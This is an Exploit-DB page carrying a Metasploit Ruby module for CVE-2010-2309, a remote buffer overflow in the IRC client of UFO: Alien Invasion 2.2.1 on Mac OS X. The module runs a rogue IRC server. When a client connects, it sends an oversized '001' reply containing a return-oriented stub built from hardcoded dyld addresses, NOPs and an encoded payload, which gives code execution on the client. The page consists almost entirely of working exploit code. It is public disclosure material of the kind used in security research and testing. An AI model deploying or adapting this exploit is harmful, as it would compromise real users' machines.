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# UFO: Alien Invasion IRC Client (OSX) - Remote Buffer Overflow (Metasploit)

**EDB-ID:**

16864

**CVE:**

[2010-2309](#)

**EDB Verified:** 

**Author:**

[METASPLOIT](#)

**Type:**

[REMOTE](#)

**Exploit:**  

**Platform:**

[OSX](#)

**Date:**

2010-10-09

**Vulnerable App:**





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```

##
# $Id: ufo_ai.rb 10617 2010-10-09 06:55:52Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow
Exploit',
      'Description' => %q{
        This module exploits a buffer overflow in the IRC
client component
        of UFO: Alien Invasion 2.2.1.
      },
      'Author' =>
        [
          'Jason Geffner', # Original Windows PoC Author
          'dookie'         # OSX Exploit Author
        ],
      'License' => MSF_LICENSE,
      'Version' => '$Revision: 10617 $',
      'References' =>
        [
          [ 'CVE', '2010-2309' ],
          [ 'OSVDB', '65689' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/14013' ]
        ],
      'Payload' =>
        {
          'Space' => 400,
          'BadChars' => "\x00\x0a\x0d",
          'MaxNops' => 0,
          'StackAdjustment' => -3500,
        },
      'Platform' => 'osx',
      'Targets' =>
        [
          [ 'Mac OS X 10.5.8 x86, UFOAI 2.2.1',
            {
              'Arch' => ARCH_X86,
              'Offset' => 524,
              'Writable' => 0x8fe66448, # dyld __IMPORT
              # The rest of these addresses are in dyld
              __TEXT
              'setjmp' => 0x8fe1cf38,
              'strdup' => 0x8fe210dc,
              'jmp_eax' => 0x8fe01041
            }
          ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Oct 28 2009'))

    register_options(

```



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```

[
    OptPort.new('SRVPORT', [ true, "The IRC daemon port to
listen on", 6667 ]),
    ], self.class)
end

def make_exec_payload_from_heap_stub()
  frag0 =
    "\x90" + # nop
    "\x58" + # pop eax
    "\x61" + # popa
    "\xc3"  # ret

  frag1 =
    "\x90" + # nop
    "\x58" + # pop eax
    "\x89\xe0" + # mov eax, esp
    "\x83\xc0\x0c" + # add eax, byte +0xc
    "\x89\x44\x24\x08" + # mov [esp+0x8], eax
    "\xc3" # ret

  setjmp = target['setjmp']
  writable = target['Writable']
  strdup = target['strdup']
  jmp_eax = target['jmp_eax']

  exec_payload_from_heap_stub =
    frag0 +
    [setjmp].pack('V') +
    [writable + 32, writable].pack("V2") +
    frag1 +
    "X" * 20 +
    [setjmp].pack('V') +
    [writable + 24, writable, strdup, jmp_eax].pack("V4") +
    "X" * 4

end

def on_client_connect(client)

  print_status("Got client connection...")

  offset = target['Offset']

  buffer = "001 :"
  buffer << rand_text_alpha_upper(offset)
  buffer << make_exec_payload_from_heap_stub()
  buffer << make_nops(16)
  buffer << payload.encoded
  buffer << "\x0d\x0a"

  print_status("Sending exploit to #{client.peerhost}:#
#{client.peerport}...")
  client.put(buffer)

end

end

```

Tags: [Metasploit Framework](#)  
(MSF).

Advisory/Source: [Link](#)



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